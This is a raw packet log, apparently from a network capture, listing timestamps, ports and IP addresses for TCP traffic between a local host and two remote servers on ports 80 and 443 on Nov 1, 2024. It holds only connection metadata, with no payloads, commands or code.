Nov 1, 2024 05:02:23.743469000 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.743506908 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.743678093 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.743680954 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.743685961 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.743689060 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.743746996 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.743889093 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.743992090 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.743998051 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.744009972 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.744015932 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.744026899 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.744033098 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.744034052 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.744041920 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.744075060 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.780797005 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.780831099 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.780878067 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.780949116 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.780949116 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.780983925 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.780991077 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.781054020 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.781119108 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.781126022 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.781225920 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.781244993 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.781310081 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.785573006 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.785654068 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.785731077 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.785746098 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.785792112 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.785842896 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.785856009 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.785900116 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.785936117 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.785942078 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.785985947 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.786071062 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786078930 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786091089 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786143064 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.786201954 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786257982 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786264896 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786319017 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.786392927 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786398888 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786405087 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786434889 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.786583900 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786645889 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786648989 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.786715984 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786720991 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.786778927 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.825812101 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.825866938 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.825874090 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.825921059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.825921059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.828902960 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.828974962 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.828982115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829081059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.829134941 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829142094 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829154968 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829161882 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829216003 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.829216003 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.829397917 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829405069 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829411983 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829417944 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829468012 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.829468012 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.829633951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829777956 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829783916 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829790115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829796076 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829802036 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829808950 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.829862118 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.829862118 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.830127001 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.830171108 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.830265045 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.830267906 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.830274105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.830322981 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.854854107 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.854965925 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.854980946 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.854989052 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.855066061 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.855067968 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.855072975 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.855110884 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.855185032 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.855242014 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.859529018 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.859589100 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.859659910 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.859672070 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.859683990 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.859690905 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.859759092 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.859822989 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.859863043 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.859890938 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.859915018 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.859942913 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.859999895 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.860045910 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860058069 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860219002 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.860280037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860321045 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860332966 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860347033 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.860385895 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.860385895 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.860467911 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860474110 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860625029 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.860627890 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860641003 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860647917 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860658884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860666037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.860694885 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.860733032 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.860944986 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.861000061 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.861015081 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.861089945 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.861169100 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.861176014 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.861176968 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.861176968 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.861215115 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.861294985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.861301899 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.861351967 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.897778988 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.897867918 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.897880077 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.897905111 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.897967100 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.898032904 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.898040056 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.898092985 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.898160934 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.898189068 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.898228884 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.898252964 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.898309946 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.898366928 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.902667046 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.902740002 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.902746916 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.902770042 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.902806044 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.902851105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.902858019 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.902980089 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.902996063 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903003931 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903048038 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.903136969 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903142929 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903234005 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.903269053 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903275967 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903330088 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.903371096 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903449059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.903455019 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903460026 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903518915 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.903562069 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903568029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903579950 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.903631926 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.942847013 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.942926884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.942934036 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.943061113 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.943069935 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.943080902 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.943154097 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.945749998 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.945796013 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.945800066 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.945859909 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.945884943 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.945892096 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.945959091 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.946003914 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946063995 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.946125984 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946132898 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946145058 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946151972 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946197033 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.946233988 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.946353912 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946454048 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.946481943 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946517944 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946526051 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946548939 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.946577072 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.946613073 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946707010 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946775913 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.946780920 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946788073 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946827888 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.946938038 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946943998 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.946955919 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.947045088 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.947175980 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.947232008 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.947242022 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.947280884 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.971510887 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.971590996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.971596956 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.971716881 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.971946955 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.972032070 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.972038031 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.972048998 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.972078085 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.972147942 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.972224951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.972229958 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.972349882 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.976636887 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.976692915 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.976699114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.976785898 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.976834059 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.976840019 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.976911068 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.976958036 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.976964951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977032900 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.977081060 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977087021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977097988 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977145910 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.977273941 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977340937 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977346897 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977406025 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.977555037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977626085 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977627039 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.977632046 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977683067 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.977737904 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977745056 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977751970 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977818966 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.977933884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977946043 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.977997065 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.978048086 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.978143930 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.978148937 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.978235006 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.978240967 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.978256941 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.978307962 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.978368044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.978374958 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.978427887 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.978487968 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.978496075 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.978586912 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.978595972 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.978635073 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.979199886 CET	443	59849	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:23.979268074 CET	59849	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:23.980551958 CET	59849	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:23.980561018 CET	443	59849	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:23.980808020 CET	443	59849	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:23.982027054 CET	59849	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:23.982116938 CET	59849	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:23.982147932 CET	443	59849	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:23.982223988 CET	59849	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:23.982230902 CET	443	59849	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:24.014925003 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.014981031 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.014987946 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.015120983 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.015129089 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.015156031 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.015197039 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.015294075 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.015300989 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.015364885 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.015476942 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.019078016 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.019619942 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.019668102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.019679070 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.019794941 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.019828081 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.019877911 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.019881010 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.019886017 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.019936085 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.020006895 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.020013094 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.020083904 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.020133018 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.020139933 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.020211935 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.020256042 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.020262957 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.020320892 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.020407915 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.020414114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.020425081 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.020494938 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.020580053 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.021292925 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.060167074 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.060229063 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.060235023 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.060343027 CET	59845	80	192.168.2.5	185.215.113.16
